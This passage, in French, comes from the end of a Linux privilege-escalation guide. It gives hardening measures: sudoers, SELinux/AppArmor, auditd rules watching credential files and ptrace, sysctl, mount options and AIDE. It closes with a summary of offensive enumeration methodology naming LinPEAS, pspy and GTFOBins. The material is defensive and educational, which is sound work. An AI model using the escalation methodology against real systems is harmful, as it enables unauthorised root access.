# Comparer avec la baseline
if ! diff -q "$BASELINE" "$CURRENT" &>/dev/null; then
    diff "$BASELINE" "$CURRENT" | mail -s "[ALERT] Changement SUID/capabilities" "$ALERT_EMAIL"
fi

# Pour initialiser la baseline :
# cp "$CURRENT" "$BASELINE"

8.2 Hardening sudo

Le durcissement de sudo passe par une configuration stricte du fichier /etc/sudoers et par des politiques organisationnelles claires. Voici les bonnes pratiques essentielles :

# /etc/sudoers - Configuration durcie
# Toujours éditer avec visudo

# Réinitialiser l'environnement (empêcher LD_PRELOAD, etc.)
Defaults    env_reset
Defaults    env_delete += "LD_PRELOAD LD_LIBRARY_PATH"
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Limiter le timeout du token sudo (défaut 15 min → 5 min)
Defaults    timestamp_timeout=5

# Journaliser toutes les commandes sudo
Defaults    logfile="/var/log/sudo.log"
Defaults    log_input, log_output
Defaults    iolog_dir="/var/log/sudo-io/%{user}"

# Empêcher l'exécution de shells via NOEXEC
# (empêche vim, less, etc. de lancer des sous-processus)
Defaults    noexec

# Droits spécifiques avec arguments précis (pas de wildcards)
webadmin ALL=(root) NOPASSWD: /usr/sbin/service nginx restart
webadmin ALL=(root) NOPASSWD: /usr/sbin/service nginx reload
# PAS : webadmin ALL=(root) NOPASSWD: /usr/sbin/service *

8.3 SELinux et AppArmor : Le Mandatory Access Control

SELinux (Security-Enhanced Linux) et AppArmor implémentent le contrôle d'accès obligatoire (MAC), une couche de sécurité au-dessus du DAC traditionnel. Contrairement au DAC où le propriétaire du fichier décide des permissions, le MAC applique des politiques définies par l'administrateur que même root ne peut contourner sans modifier la politique elle-même. SELinux est utilisé par défaut sur RHEL/CentOS/Fedora, tandis qu'AppArmor est le défaut sur Ubuntu/Debian/SUSE.

# SELinux : Vérifier et activer
getenforce          # Enforcing, Permissive, ou Disabled
sestatus            # État détaillé
# Passer en mode enforcing :
setenforce 1        # Temporaire
# Dans /etc/selinux/config : SELINUX=enforcing  # Permanent

# AppArmor : Vérifier et activer
aa-status           # État de tous les profils
# Mettre un profil en mode enforce :
aa-enforce /etc/apparmor.d/usr.sbin.nginx

# Créer un profil AppArmor pour un service personnalisé :
aa-genprof /opt/myapp/myservice
# → Suivre les instructions interactives pour générer les règles

Le MAC est particulièrement efficace contre les escalades de privilèges car il peut confiner un processus même s'il obtient les droits root. Par exemple, un processus web compromis avec SELinux en mode enforcing ne pourra pas accéder aux fichiers hors de son contexte de sécurité, même avec UID 0. Cela ne rend pas l'escalade impossible, mais limite considérablement son impact et les actions post-exploitation.

8.4 Framework d'audit : auditd

Le démon auditd est le système d'audit natif du noyau Linux. Il permet de journaliser les appels système, les accès aux fichiers, les modifications de permissions, les exécutions de commandes, et bien plus. Correctement configuré, auditd peut détecter les tentatives d'escalade de privilèges en temps réel.

# /etc/audit/rules.d/escalation.rules
# Surveiller les modifications de fichiers critiques
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/sudoers -p wa -k sudoers_changes
-w /etc/sudoers.d/ -p wa -k sudoers_d_changes
-w /etc/crontab -p wa -k crontab_changes
-w /etc/cron.d/ -p wa -k cron_d_changes

# Surveiller les changements de permissions (chmod, chown, setfacl)
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -k perm_change
-a always,exit -F arch=b64 -S chown,fchown,fchownat -F auid>=1000 -k owner_change

# Surveiller les appels setuid/setgid
-a always,exit -F arch=b64 -S setuid,setreuid,setresuid -k setuid_call
-a always,exit -F arch=b64 -S setgid,setregid,setresgid -k setgid_call

# Surveiller l'utilisation de ptrace (injection de processus)
-a always,exit -F arch=b64 -S ptrace -k ptrace_use

# Surveiller le chargement de modules kernel
-a always,exit -F arch=b64 -S init_module,finit_module -k module_load

# Surveiller les modifications de capabilities
-a always,exit -F arch=b64 -S capset -k cap_change

# Recharger les règles :
# auditctl -R /etc/audit/rules.d/escalation.rules
# Ou : systemctl restart auditd

8.5 Sysctl hardening et options de montage

Le durcissement des paramètres sysctl et des options de montage réduit la surface d'attaque au niveau du noyau et des systèmes de fichiers. Ces mesures sont complémentaires et doivent être appliquées ensemble pour être efficaces.

# /etc/sysctl.d/99-hardening.conf
# Désactiver les user namespaces non privilégiés (bloque de nombreux exploits kernel)
kernel.unprivileged_userns_clone = 0

# Masquer les adresses kernel
kernel.kptr_restrict = 2

# Restreindre l'accès aux journaux kernel
kernel.dmesg_restrict = 1

# Désactiver le chargement de modules après le boot
# (attention : à activer uniquement après le chargement de tous les modules nécessaires)
# kernel.modules_disabled = 1

# Restreindre ptrace (empêche l'injection de processus)
kernel.yama.ptrace_scope = 2

# Restreindre les core dumps
fs.suid_dumpable = 0

# Désactiver SysRq (Magic SysRq Key)
kernel.sysrq = 0

# Activer ASLR (Address Space Layout Randomization)
kernel.randomize_va_space = 2

# Désactiver les performances events non privilégiés
kernel.perf_event_paranoid = 3

# Appliquer :
# sysctl --system

# /etc/fstab - Options de montage restrictives
# Partition /tmp : nosuid, noexec, nodev
tmpfs /tmp tmpfs defaults,nosuid,noexec,nodev,size=2G 0 0

# Partition /var/tmp : nosuid, noexec, nodev
/tmp /var/tmp none bind,nosuid,noexec,nodev 0 0

# Partition /home : nosuid, nodev
/dev/sda3 /home ext4 defaults,nosuid,nodev 0 2

# Partition /dev/shm : nosuid, noexec, nodev
tmpfs /dev/shm tmpfs defaults,nosuid,noexec,nodev 0 0

L'option nosuid est particulièrement importante : elle empêche l'exécution de binaires SUID sur la partition, neutralisant ainsi les attaques NFS no_root_squash et les créations de binaires SUID dans /tmp. L'option noexec empêche l'exécution directe de binaires, compliquant la compilation et l'exécution d'exploits sur la partition.

8.6 Réduction de la surface d'attaque noyau

La réduction de la surface d'attaque du noyau limite les possibilités d'exploitation de vulnérabilités kernel. Cela inclut la désactivation des modules non nécessaires, la restriction des fonctionnalités réseau, et l'utilisation de mécanismes de protection intégrés au noyau comme seccomp.

# Blacklister les modules kernel non nécessaires
# /etc/modprobe.d/blacklist-uncommon.conf
blacklist cramfs
blacklist freevxfs
blacklist hfs
blacklist hfsplus
blacklist jffs2
blacklist udf
blacklist usb-storage  # Si pas besoin de stockage USB

# Désactiver les protocoles réseau non utilisés
# /etc/modprobe.d/blacklist-protocols.conf
blacklist dccp
blacklist sctp
blacklist rds
blacklist tipc

# Utiliser seccomp pour filtrer les appels système
# (intégré dans Docker, Kubernetes, systemd)
# Exemple de profil seccomp restrictif pour un service :
# SystemCallFilter=@system-service dans le fichier .service systemd

8.7 Monitoring d'intégrité des fichiers

Les outils de monitoring d'intégrité de fichiers (FIM - File Integrity Monitoring) détectent les modifications non autorisées de fichiers critiques. AIDE (Advanced Intrusion Detection Environment) est l'outil FIM open source le plus utilisé sur Linux. Il maintient une base de données des hash cryptographiques des fichiers et alerte en cas de modification. OSSEC/Wazuh offrent des fonctionnalités similaires avec une intégration SIEM.

# Installation et configuration d'AIDE
apt install aide
# ou
yum install aide

# Initialiser la base de données
aide --init
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Vérification quotidienne via cron
# 0 5 * * * /usr/bin/aide --check | mail -s "AIDE Report" security@example.com

# Configuration AIDE (/etc/aide/aide.conf)
# Surveiller les fichiers critiques pour l'escalade de privilèges :
/etc/passwd    p+i+u+g+s+b+n+S+md5+sha256
/etc/shadow    p+i+u+g+s+b+n+S+md5+sha256
/etc/sudoers   p+i+u+g+s+b+n+S+md5+sha256
/etc/crontab   p+i+u+g+s+b+n+S+md5+sha256
/usr/bin       p+i+u+g+s+b+n+S+md5+sha256
/usr/sbin      p+i+u+g+s+b+n+S+md5+sha256

9. Conclusion

L'escalade de privilèges Linux est un domaine vaste qui combine la connaissance approfondie du système d'exploitation, la créativité dans l'exploitation de mauvaises configurations, et la maîtrise d'outils spécialisés. Les vecteurs d'attaque sont multiples et évoluent constamment : des simples abus SUID aux exploits kernel sophistiqués, en passant par les subtilités de sudo, les cron jobs vulnérables, et les configurations réseau (NFS) ou conteneur (Docker) mal sécurisées.

Pour les professionnels de la sécurité offensive, la méthodologie est claire : énumérer systématiquement, prioriser les vecteurs userland (SUID, sudo, cron, capabilities) avant les kernel exploits, et documenter chaque étape. Les outils comme LinPEAS, pspy et GTFOBins accélèrent le processus mais ne remplacent pas la compréhension des mécanismes sous-jacents.

Pour les défenseurs, la réponse repose sur la défense en profondeur : des permissions minimales (SUID, capabilities, sudo), un MAC actif (SELinux/AppArmor), des mises à jour régulières (kernel, sudo), un monitoring robuste (auditd, FIM), et des options de montage restrictives (nosuid, noexec). Aucune mesure isolée n'est suffisante, mais leur combinaison crée un environnement où l'escalade de privilèges devient significativement plus difficile, lente, et détectable.

Enfin, il est essentiel de maintenir une veille active sur les nouvelles CVE kernel et les techniques d'exploitation émergentes. Les publications des chercheurs en sécurité, les CTF, et les rapports d'incidents sont des sources précieuses pour rester à jour. Le durcissement est un processus continu, pas un état final.